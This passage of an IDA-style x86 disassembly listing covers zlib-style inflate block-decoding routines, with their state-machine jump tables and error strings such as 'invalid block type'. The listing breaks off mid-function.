mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_42AD05
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_50], eax
jmp short loc_42AD11
; ---------------------------------------------------------------------------
loc_42AD05: ; CODE XREF: sub_42A2DE+A14j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_50], edx
loc_42AD11: ; CODE XREF: sub_42A2DE+A25j
mov eax, [ebp+var_50]
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_42AD67
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_42AD67
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_42AD55
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_54], edx
jmp short loc_42AD61
; ---------------------------------------------------------------------------
loc_42AD55: ; CODE XREF: sub_42A2DE+A64j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_54], ecx
loc_42AD61: ; CODE XREF: sub_42A2DE+A75j
mov edx, [ebp+var_54]
mov [ebp+var_28], edx
loc_42AD67: ; CODE XREF: sub_42A2DE+A42j
; sub_42A2DE+A50j
cmp [ebp+var_28], 0
jnz short loc_42ADC8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42ADC8: ; CODE XREF: sub_42A2DE+982j
; sub_42A2DE+9DCj ...
mov [ebp+arg_8], 0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
mov dl, [ecx+8]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_28]
sub ecx, 1
mov [ebp+var_28], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 0
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42ADFA: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B029o
cmp [ebp+var_24], 7
jbe short loc_42AE1B
mov eax, [ebp+var_24]
sub eax, 8
mov [ebp+var_24], eax
mov ecx, [ebp+var_2C]
add ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42AE1B: ; CODE XREF: sub_42A2DE+B20j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_42AE60
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_58], ecx
jmp short loc_42AE6C
; ---------------------------------------------------------------------------
loc_42AE60: ; CODE XREF: sub_42A2DE+B6Fj
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_58], eax
loc_42AE6C: ; CODE XREF: sub_42A2DE+B80j
mov ecx, [ebp+var_58]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+34h]
jz short loc_42AEDB
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42AEDB: ; CODE XREF: sub_42A2DE+BA0j
mov edx, [ebp+var_10]
mov dword ptr [edx], 8
loc_42AEE4: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B02Do
mov [ebp+arg_8], 1
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42AF46: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B031o
mov [ebp+arg_8], 0FFFFFFFDh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp short loc_42B009
; ---------------------------------------------------------------------------
loc_42AFA5: ; CODE XREF: sub_42A2DE+75j
mov [ebp+arg_8], 0FFFFFFFEh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp short loc_42B009
; ---------------------------------------------------------------------------
loc_42B004: ; CODE XREF: sub_42A2DE+186j
; sub_42A2DE+2BFj ...
jmp loc_42A347
; ---------------------------------------------------------------------------
loc_42B009: ; CODE XREF: sub_42A2DE+228j
; sub_42A2DE+3A6j ...
mov esp, ebp
pop ebp
retn
sub_42A2DE endp
; ---------------------------------------------------------------------------
off_42B00D dd offset loc_42A363 ; DATA XREF: sub_42A2DE+7Er
dd offset loc_42A48C
dd offset loc_42A689
dd offset loc_42A78E
dd offset loc_42A955
dd offset loc_42AA40
dd offset loc_42AC5C
dd offset loc_42ADFA
dd offset loc_42AEE4
dd offset loc_42AF46
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B035 proc near ; CODE XREF: sub_42B04E+4Ep
; sub_42B1FD+10BCp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
pop ebp
retn
sub_42B035 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B04E proc near ; CODE XREF: sub_42B105+E9p
; sub_42C565+Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jz short loc_42B062
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov [eax], edx
loc_42B062: ; CODE XREF: sub_42B04E+7j
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 4
jz short loc_42B072
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 5
jnz short loc_42B089
loc_42B072: ; CODE XREF: sub_42B04E+1Aj
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
loc_42B089: ; CODE XREF: sub_42B04E+22j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 6
jnz short loc_42B0A4
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_42B035
add esp, 8
loc_42B0A4: ; CODE XREF: sub_42B04E+41j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+1Ch], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+20h], 0
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [edx+34h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [edx+30h], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+38h], 0
jz short loc_42B103
push 0
push 0
push 0
mov eax, [ebp+arg_0]
call dword ptr [eax+38h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+3Ch], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
mov [edx+30h], ecx
loc_42B103: ; CODE XREF: sub_42B04E+92j
pop ebp
retn
sub_42B04E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B105 proc near ; CODE XREF: sub_42DD45+13Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 40h
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_42B12E
mov eax, [ebp+var_4]
jmp loc_42B1F9
; ---------------------------------------------------------------------------
loc_42B12E: ; CODE XREF: sub_42B105+1Fj
push 5A0h
push 8
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+20h]
add esp, 0Ch
mov ecx, [ebp+var_4]
mov [ecx+24h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+24h], 0
jnz short loc_42B16F
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
jmp loc_42B1F9
; ---------------------------------------------------------------------------
loc_42B16F: ; CODE XREF: sub_42B105+4Dj
mov ecx, [ebp+arg_8]
push ecx
push 1
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+28h], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+28h], 0
jnz short loc_42B1C3
mov ecx, [ebp+var_4]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_0]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
jmp short loc_42B1F9
; ---------------------------------------------------------------------------
loc_42B1C3: ; CODE XREF: sub_42B105+8Dj
mov ecx, [ebp+var_4]
mov edx, [ecx+28h]
add edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [eax+2Ch], edx
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov [ecx+38h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
push 0
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_42B04E
add esp, 0Ch
mov eax, [ebp+var_4]
loc_42B1F9: ; CODE XREF: sub_42B105+24j
; sub_42B105+65j ...
mov esp, ebp
pop ebp
retn
sub_42B105 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B1FD proc near ; CODE XREF: sub_42DEC5+3F3p
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+4]
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_42B24B
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_54], ecx
jmp short loc_42B257
; ---------------------------------------------------------------------------
loc_42B24B: ; CODE XREF: sub_42B1FD+3Bj
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_54], eax
loc_42B257: ; CODE XREF: sub_42B1FD+4Cj
mov ecx, [ebp+var_54]
mov [ebp+var_18], ecx
loc_42B25D: ; CODE XREF: sub_42B1FD:loc_42C524j
mov edx, [ebp+arg_0]
mov eax, [edx]
mov [ebp+var_58], eax
cmp [ebp+var_58], 9
ja loc_42C4C5
mov ecx, [ebp+var_58]
jmp off_42C52D[ecx*4]
loc_42B279: ; CODE XREF: sub_42B1FD+121j
; DATA XREF: TEUm:off_42C52Do
cmp [ebp+var_14], 3
jnb loc_42B323
cmp [ebp+var_1C], 0
jz short loc_42B292
mov [ebp+arg_8], 0
jmp short loc_42B2ED
; ---------------------------------------------------------------------------
loc_42B292: ; CODE XREF: sub_42B1FD+8Aj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B2ED: ; CODE XREF: sub_42B1FD+93j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_42B279
; ---------------------------------------------------------------------------
loc_42B323: ; CODE XREF: sub_42B1FD+80j
mov eax, [ebp+var_C]
and eax, 7
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
and ecx, 1
mov edx, [ebp+arg_0]
mov [edx+18h], ecx
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_5C], eax
cmp [ebp+var_5C], 3
ja loc_42B501
mov ecx, [ebp+var_5C]
jmp off_42C555[ecx*4]
loc_42B354: ; CODE XREF: sub_42B1FD+75j
; DATA XREF: TEUm:off_42C555o
mov edx, [ebp+var_C]
shr edx, 3
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, 3
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 7
mov [ebp+var_10], ecx
mov edx, [ebp+var_C]
mov ecx, [ebp+var_10]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_10]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 1
jmp loc_42B501
; ---------------------------------------------------------------------------
loc_42B391: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD+150j
; DATA XREF: ...
mov edx, [ebp+arg_4]
push edx
lea eax, [ebp+var_2C]
push eax
lea ecx, [ebp+var_24]
push ecx
lea edx, [ebp+var_20]
push edx
lea eax, [ebp+var_28]
push eax
call sub_42D0BB
add esp, 14h
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
call sub_42A289
add esp, 14h
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_42B43A
mov [ebp+arg_8], 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B43A: ; CODE XREF: sub_42B1FD+1D9j
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 6
jmp loc_42B501
; ---------------------------------------------------------------------------
loc_42B45A: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD+150j
; DATA XREF: ...
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 3
jmp loc_42B501
; ---------------------------------------------------------------------------
loc_42B47A: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD+150j
; DATA XREF: ...
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B501: ; CODE XREF: sub_42B1FD+147j
; sub_42B1FD+18Fj ...
jmp loc_42C524
; ---------------------------------------------------------------------------
loc_42B506: ; CODE XREF: sub_42B1FD+75j
; sub_42B1FD+3ACj
; DATA XREF: ...
cmp [ebp+var_14], 20h
jnb loc_42B5AE
cmp [ebp+var_1C], 0
jz short loc_42B51F
mov [ebp+arg_8], 0
jmp short loc_42B57A
; ---------------------------------------------------------------------------
loc_42B51F: ; CODE XREF: sub_42B1FD+317j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B57A: ; CODE XREF: sub_42B1FD+320j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_14]
add eax, 8
mov [ebp+var_14], eax
jmp loc_42B506
; ---------------------------------------------------------------------------
loc_42B5AE: ; CODE XREF: sub_42B1FD+30Dj
mov ecx, [ebp+var_C]
not ecx
shr ecx, 10h
and ecx, 0FFFFh
mov edx, [ebp+var_C]
and edx, 0FFFFh
cmp ecx, edx
jz short loc_42B63E
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B63E: ; CODE XREF: sub_42B1FD+3CAj
mov edx, [ebp+var_C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov [ebp+var_14], 0
mov ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jz short loc_42B66C
mov [ebp+var_60], 2
jmp short loc_42B67C
; ---------------------------------------------------------------------------
loc_42B66C: ; CODE XREF: sub_42B1FD+464j
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
neg ecx
sbb ecx, ecx
and ecx, 7
mov [ebp+var_60], ecx
loc_42B67C: ; CODE XREF: sub_42B1FD+46Dj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_60]
mov [edx], eax
jmp loc_42C524
; ---------------------------------------------------------------------------
loc_42B689: ; CODE XREF: sub_42B1FD+75j
; DATA XREF: TEUm:0042C535o
cmp [ebp+var_1C], 0
jnz short loc_42B6EA
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42B6EA: ; CODE XREF: sub_42B1FD+490j
cmp [ebp+var_18], 0
jnz loc_42B856
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_42B744
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_42B744
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_42B732
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_64], edx
jmp short loc_42B73E
; ---------------------------------------------------------------------------
loc_42B732: ; CODE XREF: sub_42B1FD+522j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_64], ecx
loc_42B73E: ; CODE XREF: sub_42B1FD+533j
mov edx, [ebp+var_64]
mov [ebp+var_18], edx
loc_42B744: ; CODE XREF: sub_42B1FD+500j
